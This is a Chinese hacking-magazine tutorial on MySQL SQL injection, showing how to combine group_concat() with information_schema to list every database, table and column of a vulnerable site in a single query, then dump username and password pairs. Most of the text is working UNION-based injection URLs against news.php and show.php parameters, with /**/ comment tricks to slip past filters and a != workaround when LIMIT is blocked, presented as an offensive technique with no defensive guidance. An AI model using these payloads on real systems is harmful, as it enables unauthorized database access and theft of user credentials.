MYSQL数据库渗透之Group_concaT函数终极利用

作者：晓华[岁月联盟信息安全团队&东软SOVO凝聚科技] 文章已经发布在黑客手册 转载请说明出处！

在 FLYH4T 大哥的“ Mysql5 注射技巧总结 ”一文中介绍了通过使用“ information_schema ”库实现遍历猜解库名 表名以及字段名的技术，解决了一些以前使用工具无法猜解到的库名 表名以及字段名的问题，提高了注射的效率。关于此文的详细技术细节请参考往期的“黑客手册”。但是通过我的研究，发现这种技巧有一定的缺陷。首先遍历的库名或者表名以及字段名等位置，要使用到 limit 功能语句来强制返回select查询的记录数。如果在渗透中limit功能语句无法使用，是不是很难进行遍历了？如果被限制的话，可以使用“!=”来绕过。语句使用格式：

show.phpid=2/**/and/**/1=2/**/union/**/select/**/1,table_name,3,4,5,6,7,8,9,10/**/frominformation_schema.tables/**/where/**/table_schema=database()/**/and/**/table_name/**/!=char(97,100,109,105,110)

虽然这样能够绕过 limit 的限制，但是利用起来非常不方便，而且猜解的速度很慢。经过我的仔细研究，找到了一个相对比较好的方法。而且解决了 limit 被限制的问题，更重要的是加速了遍历的速度，明显提高注射的效率。

                              group_concat() 函数介绍

 

首先我们来了解一下 group_concat() 函数，该函数完整语法如下：

GROUP_CONCAT([DISTINCT] expr [,expr ...]
[ORDER BY {unsigned_integer | col_name | formula} [ASC | DESC] [,col ...]]
[SEPARATOR str_val])

该函数返回一个字符串结果，该结果由分组中的值连接组合而成，这个函数在 MySQL 4.1 中被加入。有兴趣的朋友可以参考“ MYSQL5.1 参考手册” 。

                              普通利用

 

该函数在 MYSQL 的注射中也有使用的例子，利用方法还只是局限于在一个地方显示一些普通信息，比如显示数据库版本和爆字段数据等。爆版本等信息，执行语句：

news.php?category=seminar&id=-291/**/union/**/select/**/1,group_concat(user(),0x3a,version(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,15― 如图1.

 

 

爆用户名以及密码等字段信息，执行语句：

news.php?id=-1/**/union/**/select/**/1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12/**/from/**/admin―

这么强悍的函数，我们为什么不深度挖掘它的功能呢？利用它可以干一些不可思议的事，接下来我会介绍如何深度利用这个函数，读者朋友可要仔细了。

 

                                                   高级利用

★爆全部库名

利用这个函数可以爆出全部的数据库名，构造查询语句：

news.php?category=seminar&id=-291/**/union/**/select/**/1,group_concat(SCHEMA_NAME),3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.SCHEMATA--   如图2.

爆出了所有的数据库名，共有三个。依次为： information_schema cite test

 

★爆全部表名

利用这个函数可以爆出全部的表名，如果想爆出 cite 库的全部表名。构造查询语句：

news.php?category=seminar&id=-291/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.tables/**/where/**/table_schema=0x63697465 其中 0x63697465 是 cite 的 HEX 值。如图3.

如果只是想爆当前库的全部表名，我们不需要将库名进行 HEX 值转换。可以这样执行语句：

news.php?category=seminar&id=-291/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.tables/**/where/**/table_schema=database()--  其中 database() 函数就是显示当前库的信息。如图4.

★爆全部字段名

 

利用这个函数可以爆出全部的字段名，如果想爆出“ account ”表的全部字段，首先将其进行 HEX 转换。构造查询语句：

news.php?category=seminar&id=-291/**/union/**/select/**/1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.columns/**/where/**/table_name=0x6163636F756E74-- 如图 5

得到二个敏感的字段，依次为： username password 。

 

★爆最终敏感数据

 

有了表和字段等关键信息，我们就可以爆出敏感数据信息。构造查询语句：

news.php?category=seminar&id=-291/**/union/**/select/**/1,group_concat(username,0x3A,password),3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/cite.account--   如图 6

 

 

�总结： 灵活运用此函数，能让你充分感受到 MYSQL 注射的快感。其实也不是什么高深的技术，只不过是将 MYSQL5 的 “ information_schema ”库与 group_concat() 函数的综合运用罢了。对本文有任何疑问和有好的建议的朋友，请到黑客手册官方论坛或者岁月联盟找我交换意见，谢谢。